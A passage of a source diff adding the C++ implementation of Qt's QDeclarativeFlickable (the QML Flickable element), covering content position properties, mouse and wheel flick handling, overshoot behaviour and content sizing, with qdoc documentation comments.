+ \snippet doc/src/snippets/declarative/flickableScrollbar.qml 0
+ \dots 8
+ \snippet doc/src/snippets/declarative/flickableScrollbar.qml 1
+
+ \sa {declarative/ui-components/scrollbar}{scrollbar example}
+*/
+
+QDeclarativeFlickable::QDeclarativeFlickable(QDeclarativeItem *parent)
+ : QDeclarativeItem(*(new QDeclarativeFlickablePrivate), parent)
+{
+ Q_D(QDeclarativeFlickable);
+ d->init();
+}
+
+QDeclarativeFlickable::QDeclarativeFlickable(QDeclarativeFlickablePrivate &dd, QDeclarativeItem *parent)
+ : QDeclarativeItem(dd, parent)
+{
+ Q_D(QDeclarativeFlickable);
+ d->init();
+}
+
+QDeclarativeFlickable::~QDeclarativeFlickable()
+{
+}
+
+/*!
+ \qmlproperty real Flickable::contentX
+ \qmlproperty real Flickable::contentY
+
+ These properties hold the surface coordinate currently at the top-left
+ corner of the Flickable. For example, if you flick an image up 100 pixels,
+ \c contentY will be 100.
+*/
+qreal QDeclarativeFlickable::contentX() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return -d->contentItem->x();
+}
+
+void QDeclarativeFlickable::setContentX(qreal pos)
+{
+ Q_D(QDeclarativeFlickable);
+ d->timeline.reset(d->hData.move);
+ d->vTime = d->timeline.time();
+ movementXEnding();
+ if (-pos != d->hData.move.value()) {
+ d->hData.move.setValue(-pos);
+ viewportMoved();
+ }
+}
+
+qreal QDeclarativeFlickable::contentY() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return -d->contentItem->y();
+}
+
+void QDeclarativeFlickable::setContentY(qreal pos)
+{
+ Q_D(QDeclarativeFlickable);
+ d->timeline.reset(d->vData.move);
+ d->vTime = d->timeline.time();
+ movementYEnding();
+ if (-pos != d->vData.move.value()) {
+ d->vData.move.setValue(-pos);
+ viewportMoved();
+ }
+}
+
+/*!
+ \qmlproperty bool Flickable::interactive
+
+ This property describes whether the user can interact with the Flickable.
+ A user cannot drag or flick a Flickable that is not interactive.
+
+ By default, this property is true.
+
+ This property is useful for temporarily disabling flicking. This allows
+ special interaction with Flickable's children; for example, you might want
+ to freeze a flickable map while scrolling through a pop-up dialog that
+ is a child of the Flickable.
+*/
+bool QDeclarativeFlickable::isInteractive() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return d->interactive;
+}
+
+void QDeclarativeFlickable::setInteractive(bool interactive)
+{
+ Q_D(QDeclarativeFlickable);
+ if (interactive != d->interactive) {
+ d->interactive = interactive;
+ if (!interactive && (d->hData.flicking || d->vData.flicking)) {
+ d->timeline.clear();
+ d->vTime = d->timeline.time();
+ d->hData.flicking = false;
+ d->vData.flicking = false;
+ emit flickingChanged();
+ emit flickingHorizontallyChanged();
+ emit flickingVerticallyChanged();
+ emit flickEnded();
+ }
+ emit interactiveChanged();
+ }
+}
+
+/*!
+ \qmlproperty real Flickable::horizontalVelocity
+ \qmlproperty real Flickable::verticalVelocity
+
+ The instantaneous velocity of movement along the x and y axes, in pixels/sec.
+
+ The reported velocity is smoothed to avoid erratic output.
+*/
+qreal QDeclarativeFlickable::horizontalVelocity() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return d->hData.smoothVelocity.value();
+}
+
+qreal QDeclarativeFlickable::verticalVelocity() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return d->vData.smoothVelocity.value();
+}
+
+/*!
+ \qmlproperty bool Flickable::atXBeginning
+ \qmlproperty bool Flickable::atXEnd
+ \qmlproperty bool Flickable::atYBeginning
+ \qmlproperty bool Flickable::atYEnd
+
+ These properties are true if the flickable view is positioned at the beginning,
+ or end respecively.
+*/
+bool QDeclarativeFlickable::isAtXEnd() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return d->hData.atEnd;
+}
+
+bool QDeclarativeFlickable::isAtXBeginning() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return d->hData.atBeginning;
+}
+
+bool QDeclarativeFlickable::isAtYEnd() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return d->vData.atEnd;
+}
+
+bool QDeclarativeFlickable::isAtYBeginning() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return d->vData.atBeginning;
+}
+
+void QDeclarativeFlickable::ticked()
+{
+ viewportMoved();
+}
+
+/*!
+ \qmlproperty Item Flickable::contentItem
+
+ The internal item that contains the Items to be moved in the Flickable.
+
+ Items declared as children of a Flickable are automatically parented to the Flickable's contentItem.
+
+ Items created dynamically need to be explicitly parented to the \e contentItem:
+ \code
+ Flickable {
+ id: myFlickable
+ function addItem(file) {
+ var component = Qt.createComponent(file)
+ component.createObject(myFlickable.contentItem);
+ }
+ }
+ \endcode
+*/
+QDeclarativeItem *QDeclarativeFlickable::contentItem()
+{
+ Q_D(QDeclarativeFlickable);
+ return d->contentItem;
+}
+
+QDeclarativeFlickableVisibleArea *QDeclarativeFlickable::visibleArea()
+{
+ Q_D(QDeclarativeFlickable);
+ if (!d->visibleArea)
+ d->visibleArea = new QDeclarativeFlickableVisibleArea(this);
+ return d->visibleArea;
+}
+
+/*!
+ \qmlproperty enumeration Flickable::flickableDirection
+
+ This property determines which directions the view can be flicked.
+
+ \list
+ \o Flickable.AutoFlickDirection (default) - allows flicking vertically if the
+ \e contentHeight is not equal to the \e height of the Flickable.
+ Allows flicking horizontally if the \e contentWidth is not equal
+ to the \e width of the Flickable.
+ \o Flickable.HorizontalFlick - allows flicking horizontally.
+ \o Flickable.VerticalFlick - allows flicking vertically.
+ \o Flickable.HorizontalAndVerticalFlick - allows flicking in both directions.
+ \endlist
+*/
+QDeclarativeFlickable::FlickableDirection QDeclarativeFlickable::flickableDirection() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return d->flickableDirection;
+}
+
+void QDeclarativeFlickable::setFlickableDirection(FlickableDirection direction)
+{
+ Q_D(QDeclarativeFlickable);
+ if (direction != d->flickableDirection) {
+ d->flickableDirection = direction;
+ emit flickableDirectionChanged();
+ }
+}
+
+void QDeclarativeFlickablePrivate::handleMousePressEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_Q(QDeclarativeFlickable);
+ if (interactive && timeline.isActive()
+ && (qAbs(hData.smoothVelocity.value()) > RetainGrabVelocity || qAbs(vData.smoothVelocity.value()) > RetainGrabVelocity))
+ stealMouse = true; // If we've been flicked then steal the click.
+ else
+ stealMouse = false;
+ q->setKeepMouseGrab(stealMouse);
+ pressed = true;
+ timeline.clear();
+ hData.reset();
+ vData.reset();
+ hData.dragMinBound = q->minXExtent();
+ vData.dragMinBound = q->minYExtent();
+ hData.dragMaxBound = q->maxXExtent();
+ vData.dragMaxBound = q->maxYExtent();
+ fixupMode = Normal;
+ lastPos = QPoint();
+ QDeclarativeItemPrivate::start(lastPosTime);
+ pressPos = event->pos();
+ hData.pressPos = hData.move.value();
+ vData.pressPos = vData.move.value();
+ hData.flicking = false;
+ vData.flicking = false;
+ QDeclarativeItemPrivate::start(pressTime);
+ QDeclarativeItemPrivate::start(velocityTime);
+}
+
+void QDeclarativeFlickablePrivate::handleMouseMoveEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_Q(QDeclarativeFlickable);
+ if (!interactive || !lastPosTime.isValid())
+ return;
+ bool rejectY = false;
+ bool rejectX = false;
+
+ bool stealY = stealMouse;
+ bool stealX = stealMouse;
+
+ if (q->yflick()) {
+ int dy = int(event->pos().y() - pressPos.y());
+ if (qAbs(dy) > QApplication::startDragDistance() || QDeclarativeItemPrivate::elapsed(pressTime) > 200) {
+ if (!vMoved)
+ vData.dragStartOffset = dy;
+ qreal newY = dy + vData.pressPos - vData.dragStartOffset;
+ const qreal minY = vData.dragMinBound;
+ const qreal maxY = vData.dragMaxBound;
+ if (newY > minY)
+ newY = minY + (newY - minY) / 2;
+ if (newY < maxY && maxY - minY <= 0)
+ newY = maxY + (newY - maxY) / 2;
+ if (boundsBehavior == QDeclarativeFlickable::StopAtBounds && (newY > minY || newY < maxY)) {
+ rejectY = true;
+ if (newY < maxY) {
+ newY = maxY;
+ rejectY = false;
+ }
+ if (newY > minY) {
+ newY = minY;
+ rejectY = false;
+ }
+ }
+ if (!rejectY && stealMouse) {
+ vData.move.setValue(qRound(newY));
+ vMoved = true;
+ }
+ if (qAbs(dy) > QApplication::startDragDistance())
+ stealY = true;
+ }
+ }
+
+ if (q->xflick()) {
+ int dx = int(event->pos().x() - pressPos.x());
+ if (qAbs(dx) > QApplication::startDragDistance() || QDeclarativeItemPrivate::elapsed(pressTime) > 200) {
+ if (!hMoved)
+ hData.dragStartOffset = dx;
+ qreal newX = dx + hData.pressPos - hData.dragStartOffset;
+ const qreal minX = hData.dragMinBound;
+ const qreal maxX = hData.dragMaxBound;
+ if (newX > minX)
+ newX = minX + (newX - minX) / 2;
+ if (newX < maxX && maxX - minX <= 0)
+ newX = maxX + (newX - maxX) / 2;
+ if (boundsBehavior == QDeclarativeFlickable::StopAtBounds && (newX > minX || newX < maxX)) {
+ rejectX = true;
+ if (newX < maxX) {
+ newX = maxX;
+ rejectX = false;
+ }
+ if (newX > minX) {
+ newX = minX;
+ rejectX = false;
+ }
+ }
+ if (!rejectX && stealMouse) {
+ hData.move.setValue(qRound(newX));
+ hMoved = true;
+ }
+
+ if (qAbs(dx) > QApplication::startDragDistance())
+ stealX = true;
+ }
+ }
+
+ stealMouse = stealX || stealY;
+ if (stealMouse)
+ q->setKeepMouseGrab(true);
+
+ if (rejectY) {
+ vData.velocityBuffer.clear();
+ vData.velocity = 0;
+ }
+ if (rejectX) {
+ hData.velocityBuffer.clear();
+ hData.velocity = 0;
+ }
+
+ if (hMoved || vMoved) {
+ q->movementStarting();
+ q->viewportMoved();
+ }
+
+ if (!lastPos.isNull()) {
+ qreal elapsed = qreal(QDeclarativeItemPrivate::elapsed(lastPosTime)) / 1000.;
+ if (elapsed <= 0)
+ return;
+ QDeclarativeItemPrivate::restart(lastPosTime);
+ qreal dy = event->pos().y()-lastPos.y();
+ if (q->yflick() && !rejectY)
+ vData.addVelocitySample(dy/elapsed, maxVelocity);
+ qreal dx = event->pos().x()-lastPos.x();
+ if (q->xflick() && !rejectX)
+ hData.addVelocitySample(dx/elapsed, maxVelocity);
+ }
+
+ lastPos = event->pos();
+}
+
+void QDeclarativeFlickablePrivate::handleMouseReleaseEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_Q(QDeclarativeFlickable);
+ stealMouse = false;
+ q->setKeepMouseGrab(false);
+ pressed = false;
+ if (!lastPosTime.isValid())
+ return;
+
+ // if we drag then pause before release we should not cause a flick.
+ qint64 elapsed = QDeclarativeItemPrivate::elapsed(lastPosTime);
+
+ vData.updateVelocity();
+ hData.updateVelocity();
+ vTime = timeline.time();
+
+ qreal velocity = elapsed < 100 ? vData.velocity : 0;
+ if (vData.atBeginning || vData.atEnd)
+ velocity /= 2;
+ if (q->yflick() && qAbs(velocity) > MinimumFlickVelocity && qAbs(event->pos().y() - pressPos.y()) > FlickThreshold) {
+ velocityTimeline.reset(vData.smoothVelocity);
+ vData.smoothVelocity.setValue(-velocity);
+ flickY(velocity);
+ } else {
+ fixupY();
+ }
+
+ velocity = elapsed < 100 ? hData.velocity : 0;
+ if (hData.atBeginning || hData.atEnd)
+ velocity /= 2;
+ if (q->xflick() && qAbs(velocity) > MinimumFlickVelocity && qAbs(event->pos().x() - pressPos.x()) > FlickThreshold) {
+ velocityTimeline.reset(hData.smoothVelocity);
+ hData.smoothVelocity.setValue(-velocity);
+ flickX(velocity);
+ } else {
+ fixupX();
+ }
+
+ if (!timeline.isActive())
+ q->movementEnding();
+}
+
+void QDeclarativeFlickable::mousePressEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativeFlickable);
+ if (d->interactive) {
+ if (!d->pressed)
+ d->handleMousePressEvent(event);
+ event->accept();
+ } else {
+ QDeclarativeItem::mousePressEvent(event);
+ }
+}
+
+void QDeclarativeFlickable::mouseMoveEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativeFlickable);
+ if (d->interactive) {
+ d->handleMouseMoveEvent(event);
+ event->accept();
+ } else {
+ QDeclarativeItem::mouseMoveEvent(event);
+ }
+}
+
+void QDeclarativeFlickable::mouseReleaseEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativeFlickable);
+ if (d->interactive) {
+ d->clearDelayedPress();
+ d->handleMouseReleaseEvent(event);
+ event->accept();
+ ungrabMouse();
+ } else {
+ QDeclarativeItem::mouseReleaseEvent(event);
+ }
+}
+
+void QDeclarativeFlickable::wheelEvent(QGraphicsSceneWheelEvent *event)
+{
+ Q_D(QDeclarativeFlickable);
+ if (!d->interactive) {
+ QDeclarativeItem::wheelEvent(event);
+ } else if (yflick() && event->orientation() == Qt::Vertical) {
+ bool valid = false;
+ if (event->delta() > 0 && contentY() > -minYExtent()) {
+ d->vData.velocity = qMax(event->delta()*2 - d->vData.smoothVelocity.value(), qreal(d->maxVelocity/4));
+ valid = true;
+ } else if (event->delta() < 0 && contentY() < -maxYExtent()) {
+ d->vData.velocity = qMin(event->delta()*2 - d->vData.smoothVelocity.value(), qreal(-d->maxVelocity/4));
+ valid = true;
+ }
+ if (valid) {
+ d->vData.flicking = false;
+ d->flickY(d->vData.velocity);
+ if (d->vData.flicking) {
+ d->vMoved = true;
+ movementStarting();
+ }
+ event->accept();
+ }
+ } else if (xflick() && event->orientation() == Qt::Horizontal) {
+ bool valid = false;
+ if (event->delta() > 0 && contentX() > -minXExtent()) {
+ d->hData.velocity = qMax(event->delta()*2 - d->hData.smoothVelocity.value(), qreal(d->maxVelocity/4));
+ valid = true;
+ } else if (event->delta() < 0 && contentX() < -maxXExtent()) {
+ d->hData.velocity = qMin(event->delta()*2 - d->hData.smoothVelocity.value(), qreal(-d->maxVelocity/4));
+ valid = true;
+ }
+ if (valid) {
+ d->hData.flicking = false;
+ d->flickX(d->hData.velocity);
+ if (d->hData.flicking) {
+ d->hMoved = true;
+ movementStarting();
+ }
+ event->accept();
+ }
+ } else {
+ QDeclarativeItem::wheelEvent(event);
+ }
+}
+
+bool QDeclarativeFlickablePrivate::isOutermostPressDelay() const
+{
+ Q_Q(const QDeclarativeFlickable);
+ QDeclarativeItem *item = q->parentItem();
+ while (item) {
+ QDeclarativeFlickable *flick = qobject_cast<QDeclarativeFlickable*>(item);
+ if (flick && flick->pressDelay() > 0 && flick->isInteractive())
+ return false;
+ item = item->parentItem();
+ }
+
+ return true;
+}
+
+void QDeclarativeFlickablePrivate::captureDelayedPress(QGraphicsSceneMouseEvent *event)
+{
+ Q_Q(QDeclarativeFlickable);
+ if (!q->scene() || pressDelay <= 0)
+ return;
+ if (!isOutermostPressDelay())
+ return;
+ delayedPressTarget = q->scene()->mouseGrabberItem();
+ delayedPressEvent = new QGraphicsSceneMouseEvent(event->type());
+ delayedPressEvent->setAccepted(false);
+ for (int i = 0x1; i <= 0x10; i <<= 1) {
+ if (event->buttons() & i) {
+ Qt::MouseButton button = Qt::MouseButton(i);
+ delayedPressEvent->setButtonDownPos(button, event->buttonDownPos(button));
+ delayedPressEvent->setButtonDownScenePos(button, event->buttonDownScenePos(button));
+ delayedPressEvent->setButtonDownScreenPos(button, event->buttonDownScreenPos(button));
+ }
+ }
+ delayedPressEvent->setButtons(event->buttons());
+ delayedPressEvent->setButton(event->button());
+ delayedPressEvent->setPos(event->pos());
+ delayedPressEvent->setScenePos(event->scenePos());
+ delayedPressEvent->setScreenPos(event->screenPos());
+ delayedPressEvent->setLastPos(event->lastPos());
+ delayedPressEvent->setLastScenePos(event->lastScenePos());
+ delayedPressEvent->setLastScreenPos(event->lastScreenPos());
+ delayedPressEvent->setModifiers(event->modifiers());
+ delayedPressTimer.start(pressDelay, q);
+}
+
+void QDeclarativeFlickablePrivate::clearDelayedPress()
+{
+ if (delayedPressEvent) {
+ delayedPressTimer.stop();
+ delete delayedPressEvent;
+ delayedPressEvent = 0;
+ }
+}
+
+void QDeclarativeFlickablePrivate::setRoundedViewportX(qreal x)
+{
+ contentItem->setX(qRound(x));
+}
+
+void QDeclarativeFlickablePrivate::setRoundedViewportY(qreal y)
+{
+ contentItem->setY(qRound(y));
+}
+
+void QDeclarativeFlickable::timerEvent(QTimerEvent *event)
+{
+ Q_D(QDeclarativeFlickable);
+ if (event->timerId() == d->delayedPressTimer.timerId()) {
+ d->delayedPressTimer.stop();
+ if (d->delayedPressEvent) {
+ QDeclarativeItem *grabber = scene() ? qobject_cast<QDeclarativeItem*>(scene()->mouseGrabberItem()) : 0;
+ if (!grabber || grabber != this) {
+ // We replay the mouse press but the grabber we had might not be interessted by the event (e.g. overlay)
+ // so we reset the grabber
+ if (scene()->mouseGrabberItem() == d->delayedPressTarget)
+ d->delayedPressTarget->ungrabMouse();
+ //Use the event handler that will take care of finding the proper item to propagate the event
+ QApplication::postEvent(scene(), d->delayedPressEvent);
+ } else {
+ delete d->delayedPressEvent;
+ }
+ d->delayedPressEvent = 0;
+ }
+ }
+}
+
+qreal QDeclarativeFlickable::minYExtent() const
+{
+ return 0.0;
+}
+
+qreal QDeclarativeFlickable::minXExtent() const
+{
+ return 0.0;
+}
+
+/* returns -ve */
+qreal QDeclarativeFlickable::maxXExtent() const
+{
+ return width() - vWidth();
+}
+/* returns -ve */
+qreal QDeclarativeFlickable::maxYExtent() const
+{
+ return height() - vHeight();
+}
+
+void QDeclarativeFlickable::viewportMoved()
+{
+ Q_D(QDeclarativeFlickable);
+
+ qreal prevX = d->lastFlickablePosition.x();
+ qreal prevY = d->lastFlickablePosition.y();
+ if (d->pressed || d->calcVelocity) {
+ int elapsed = QDeclarativeItemPrivate::restart(d->velocityTime);
+ if (elapsed > 0) {
+ qreal horizontalVelocity = (prevX - d->hData.move.value()) * 1000 / elapsed;
+ if (qAbs(horizontalVelocity) > 0) {
+ d->velocityTimeline.reset(d->hData.smoothVelocity);
+ d->velocityTimeline.move(d->hData.smoothVelocity, horizontalVelocity, d->reportedVelocitySmoothing);
+ d->velocityTimeline.move(d->hData.smoothVelocity, 0, d->reportedVelocitySmoothing);
+ }
+ qreal verticalVelocity = (prevY - d->vData.move.value()) * 1000 / elapsed;
+ if (qAbs(verticalVelocity) > 0) {
+ d->velocityTimeline.reset(d->vData.smoothVelocity);
+ d->velocityTimeline.move(d->vData.smoothVelocity, verticalVelocity, d->reportedVelocitySmoothing);
+ d->velocityTimeline.move(d->vData.smoothVelocity, 0, d->reportedVelocitySmoothing);
+ }
+ }
+ } else {
+ if (d->timeline.time() > d->vTime) {
+ d->velocityTimeline.clear();
+ qreal horizontalVelocity = (prevX - d->hData.move.value()) * 1000 / (d->timeline.time() - d->vTime);
+ qreal verticalVelocity = (prevY - d->vData.move.value()) * 1000 / (d->timeline.time() - d->vTime);
+ d->hData.smoothVelocity.setValue(horizontalVelocity);
+ d->vData.smoothVelocity.setValue(verticalVelocity);
+ }
+ }
+
+ if (!d->vData.inOvershoot && !d->vData.fixingUp && d->vData.flicking
+ && (d->vData.move.value() > minYExtent() || d->vData.move.value() < maxYExtent())
+ && qAbs(d->vData.smoothVelocity.value()) > 100) {
+ // Increase deceleration if we've passed a bound
+ d->vData.inOvershoot = true;
+ qreal maxDistance = d->overShootDistance(height());
+ d->timeline.reset(d->vData.move);
+ d->timeline.accel(d->vData.move, -d->vData.smoothVelocity.value(), d->deceleration*QML_FLICK_OVERSHOOTFRICTION, maxDistance);
+ d->timeline.callback(QDeclarativeTimeLineCallback(&d->vData.move, d->fixupY_callback, d));
+ }
+ if (!d->hData.inOvershoot && !d->hData.fixingUp && d->hData.flicking
+ && (d->hData.move.value() > minXExtent() || d->hData.move.value() < maxXExtent())
+ && qAbs(d->hData.smoothVelocity.value()) > 100) {
+ // Increase deceleration if we've passed a bound
+ d->hData.inOvershoot = true;
+ qreal maxDistance = d->overShootDistance(width());
+ d->timeline.reset(d->hData.move);
+ d->timeline.accel(d->hData.move, -d->hData.smoothVelocity.value(), d->deceleration*QML_FLICK_OVERSHOOTFRICTION, maxDistance);
+ d->timeline.callback(QDeclarativeTimeLineCallback(&d->hData.move, d->fixupX_callback, d));
+ }
+
+ d->lastFlickablePosition = QPointF(d->hData.move.value(), d->vData.move.value());
+
+ d->vTime = d->timeline.time();
+ d->updateBeginningEnd();
+}
+
+void QDeclarativeFlickable::geometryChanged(const QRectF &newGeometry,
+ const QRectF &oldGeometry)
+{
+ Q_D(QDeclarativeFlickable);
+ QDeclarativeItem::geometryChanged(newGeometry, oldGeometry);
+
+ bool changed = false;
+ if (newGeometry.width() != oldGeometry.width()) {
+ if (xflick())
+ changed = true;
+ if (d->hData.viewSize < 0) {
+ d->contentItem->setWidth(width());
+ emit contentWidthChanged();
+ }
+ // Make sure that we're entirely in view.
+ if (!d->pressed && !d->hData.moving && !d->vData.moving) {
+ d->fixupMode = QDeclarativeFlickablePrivate::Immediate;
+ d->fixupX();
+ }
+ }
+ if (newGeometry.height() != oldGeometry.height()) {
+ if (yflick())
+ changed = true;
+ if (d->vData.viewSize < 0) {
+ d->contentItem->setHeight(height());
+ emit contentHeightChanged();
+ }
+ // Make sure that we're entirely in view.
+ if (!d->pressed && !d->hData.moving && !d->vData.moving) {
+ d->fixupMode = QDeclarativeFlickablePrivate::Immediate;
+ d->fixupY();
+ }
+ }
+
+ if (changed)
+ d->updateBeginningEnd();
+}
+
+void QDeclarativeFlickable::cancelFlick()
+{
+ Q_D(QDeclarativeFlickable);
+ d->timeline.reset(d->hData.move);
+ d->timeline.reset(d->vData.move);
+ movementEnding();
+}
+
+void QDeclarativeFlickablePrivate::data_append(QDeclarativeListProperty<QObject> *prop, QObject *o)
+{
+ QGraphicsObject *i = qobject_cast<QGraphicsObject *>(o);
+ if (i) {
+ QGraphicsItemPrivate *d = QGraphicsItemPrivate::get(i);
+ if (static_cast<QDeclarativeItemPrivate*>(d)->componentComplete) {
+ i->setParentItem(static_cast<QDeclarativeFlickablePrivate*>(prop->data)->contentItem);
+ } else {
+ d->setParentItemHelper(static_cast<QDeclarativeFlickablePrivate*>(prop->data)->contentItem, 0, 0);
+ }
+ } else {
+ o->setParent(prop->object);
+ }
+}
+
+int QDeclarativeFlickablePrivate::data_count(QDeclarativeListProperty<QObject> *property)
+{
+ QDeclarativeItem *contentItem= static_cast<QDeclarativeFlickablePrivate*>(property->data)->contentItem;
+ return contentItem->childItems().count() + contentItem->children().count();
+}
+
+QObject *QDeclarativeFlickablePrivate::data_at(QDeclarativeListProperty<QObject> *property, int index)
+{
+ QDeclarativeItem *contentItem = static_cast<QDeclarativeFlickablePrivate*>(property->data)->contentItem;
+
+ int childItemCount = contentItem->childItems().count();
+
+ if (index < 0)
+ return 0;
+
+ if (index < childItemCount) {
+ return contentItem->childItems().at(index)->toGraphicsObject();
+ } else {
+ return contentItem->children().at(index - childItemCount);
+ }
+
+ return 0;
+}
+
+void QDeclarativeFlickablePrivate::data_clear(QDeclarativeListProperty<QObject> *property)
+{
+ QDeclarativeItem *contentItem = static_cast<QDeclarativeFlickablePrivate*>(property->data)->contentItem;
+
+ const QList<QGraphicsItem*> graphicsItems = contentItem->childItems();
+ for (int i = 0; i < graphicsItems.count(); i++)
+ contentItem->scene()->removeItem(graphicsItems[i]);
+
+ const QList<QObject*> objects = contentItem->children();
+ for (int i = 0; i < objects.count(); i++)
+ objects[i]->setParent(0);
+}
+
+QDeclarativeListProperty<QObject> QDeclarativeFlickable::flickableData()
+{
+ Q_D(QDeclarativeFlickable);
+ return QDeclarativeListProperty<QObject>(this, (void *)d, QDeclarativeFlickablePrivate::data_append,
+ QDeclarativeFlickablePrivate::data_count,
+ QDeclarativeFlickablePrivate::data_at,
+ QDeclarativeFlickablePrivate::data_clear);
+}
+
+QDeclarativeListProperty<QGraphicsObject> QDeclarativeFlickable::flickableChildren()
+{
+ Q_D(QDeclarativeFlickable);
+ return QGraphicsItemPrivate::get(d->contentItem)->childrenList();
+}
+
+/*!
+ \qmlproperty enumeration Flickable::boundsBehavior
+ This property holds whether the surface may be dragged
+ beyond the Fickable's boundaries, or overshoot the
+ Flickable's boundaries when flicked.
+
+ This enables the feeling that the edges of the view are soft,
+ rather than a hard physical boundary.
+
+ The \c boundsBehavior can be one of:
+
+ \list
+ \o Flickable.StopAtBounds - the contents can not be dragged beyond the boundary
+ of the flickable, and flicks will not overshoot.
+ \o Flickable.DragOverBounds - the contents can be dragged beyond the boundary
+ of the Flickable, but flicks will not overshoot.
+ \o Flickable.DragAndOvershootBounds (default) - the contents can be dragged
+ beyond the boundary of the Flickable, and can overshoot the
+ boundary when flicked.
+ \endlist
+*/
+QDeclarativeFlickable::BoundsBehavior QDeclarativeFlickable::boundsBehavior() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return d->boundsBehavior;
+}
+
+void QDeclarativeFlickable::setBoundsBehavior(BoundsBehavior b)
+{
+ Q_D(QDeclarativeFlickable);
+ if (b == d->boundsBehavior)
+ return;
+ d->boundsBehavior = b;
+ emit boundsBehaviorChanged();
+}
+
+/*!
+ \qmlproperty real Flickable::contentWidth
+ \qmlproperty real Flickable::contentHeight
+
+ The dimensions of the content (the surface controlled by Flickable).
+ This should typically be set to the combined size of the items placed in the
+ Flickable.
+
+ The following snippet shows how these properties are used to display
+ an image that is larger than the Flickable item itself:
+
+ \snippet doc/src/snippets/declarative/flickable.qml document
+
+ In some cases, the the content dimensions can be automatically set
+ using the \l {Item::childrenRect.width}{childrenRect.width}
+ and \l {Item::childrenRect.height}{childrenRect.height} properties.
+*/
+qreal QDeclarativeFlickable::contentWidth() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return d->hData.viewSize;
+}
+
+void QDeclarativeFlickable::setContentWidth(qreal w)
+{
+ Q_D(QDeclarativeFlickable);
+ if (d->hData.viewSize == w)
+ return;
+ d->hData.viewSize = w;
+ if (w < 0)
+ d->contentItem->setWidth(width());
+ else
+ d->contentItem->setWidth(w);
+ // Make sure that we're entirely in view.
+ if (!d->pressed && !d->hData.moving && !d->vData.moving) {
+ d->fixupMode = QDeclarativeFlickablePrivate::Immediate;
+ d->fixupX();
+ } else if (!d->pressed && d->hData.fixingUp) {
+ d->fixupMode = QDeclarativeFlickablePrivate::ExtentChanged;
+ d->fixupX();
+ }
+ emit contentWidthChanged();
+ d->updateBeginningEnd();
+}
+
+qreal QDeclarativeFlickable::contentHeight() const
+{
+ Q_D(const QDeclarativeFlickable);
+ return d->vData.viewSize;
+}
+
+void QDeclarativeFlickable::setContentHeight(qreal h)
+{
+ Q_D(QDeclarativeFlickable);
+ if (d->vData.viewSize == h)
+ return;
+ d->vData.viewSize = h;
+ if (h < 0)
+ d->contentItem->setHeight(height());
+ else
+ d->contentItem->setHeight(h);
+ // Make sure that we're entirely in view.
+ if (!d->pressed && !d->hData.moving && !d->vData.moving) {
+ d->fixupMode = QDeclarativeFlickablePrivate::Immediate;
+ d->fixupY();
+ } else if (!d->pressed && d->vData.fixingUp) {
+ d->fixupMode = QDeclarativeFlickablePrivate::ExtentChanged;
+ d->fixupY();
+ }
+ emit contentHeightChanged();
+ d->updateBeginningEnd();
+}
+
+/*!
+ \qmlmethod Flickable::resizeContent(real width, real height, QPointF center)
+ \preliminary
+ \since QtQuick 1.1
+
+ Resizes the content to \a width x \a height about \a center.
+
+ This does not scale the contents of the Flickable - it only resizes the \l contentWidth
+ and \l contentHeight.
+
+ Resizing the content may result in the content being positioned outside
+ the bounds of the Flickable. Calling \l returnToBounds() will
+ move the content back within legal bounds.
+*/
+void QDeclarativeFlickable::resizeContent(qreal w, qreal h, QPointF center)
+{
+ Q_D(QDeclarativeFlickable);
+ if (w != d->hData.viewSize) {
+ qreal oldSize = d->hData.viewSize;
+ d->hData.viewSize = w;
+ d->contentItem->setWidth(w);
+ emit contentWidthChanged();
+ if (center.x() != 0) {
+ qreal pos = center.x() * w / oldSize;
+ setContentX(contentX() + pos - center.x());
+ }
+ }
+ if (h != d->vData.viewSize) {
+ qreal oldSize = d->vData.viewSize;
+ d->vData.viewSize = h;
+ d->contentItem->setHeight(h);
+ emit contentHeightChanged();
+ if (center.y() != 0) {
+ qreal pos = center.y() * h / oldSize;
+ setContentY(contentY() + pos - center.y());
+ }
+ }
+ d->updateBeginningEnd();
+}
+
+/*!
+ \qmlmethod Flickable::returnToBounds()
+ \preliminary
+ \since QtQuick 1.1
+
+ Ensures the content is within legal bounds.
+
+ This may be called to ensure that the content is within legal bounds
+ after manually positioning the content.
+*/
+void QDeclarativeFlickable::returnToBounds()
+{
+ Q_D(QDeclarativeFlickable);
+ d->fixupX();
+ d->fixupY();
+}
+
+qreal QDeclarativeFlickable::vWidth() const
+{
+ Q_D(const QDeclarativeFlickable);
+ if (d->hData.viewSize < 0)
+ return width();
+ else
+ return d->hData.viewSize;
+}
+
+qreal QDeclarativeFlickable::vHeight() const
+{
+ Q_D(const QDeclarativeFlickable);
+ if (d->vData.viewSize < 0)
+ return height();
+ else
+ return d->vData.viewSize;
+}
+
+bool QDeclarativeFlickable::xflick() const
+{
+ Q_D(const QDeclarativeFlickable);
+ if (d->flickableDirection == QDeclarativeFlickable::AutoFlickDirection)
+ return vWidth() != width();
+ return d->flickableDirection & QDeclarativeFlickable::HorizontalFlick;
+}
+
+bool QDeclarativeFlickable::yflick() const
+{
+ Q_D(const QDeclarativeFlickable);
+ if (d->flickableDirection == QDeclarativeFlickable::AutoFlickDirection)
+ return vHeight() != height();
+ return d->flickableDirection & QDeclarativeFlickable::VerticalFlick;
+}
+
+bool QDeclarativeFlickable::sceneEvent(QEvent *event)
+{
+ bool rv = QDeclarativeItem::sceneEvent(event);
+ if (event->type() == QEvent::UngrabMouse) {
+ Q_D(QDeclarativeFlickable);
+ if (d->pressed) {
+ // if our mouse grab has been removed (probably by another Flickable),
+ // fix our state
+ d->pressed = false;
+ d->stealMouse = false;
+ setKeepMouseGrab(false);
+ }
+ }
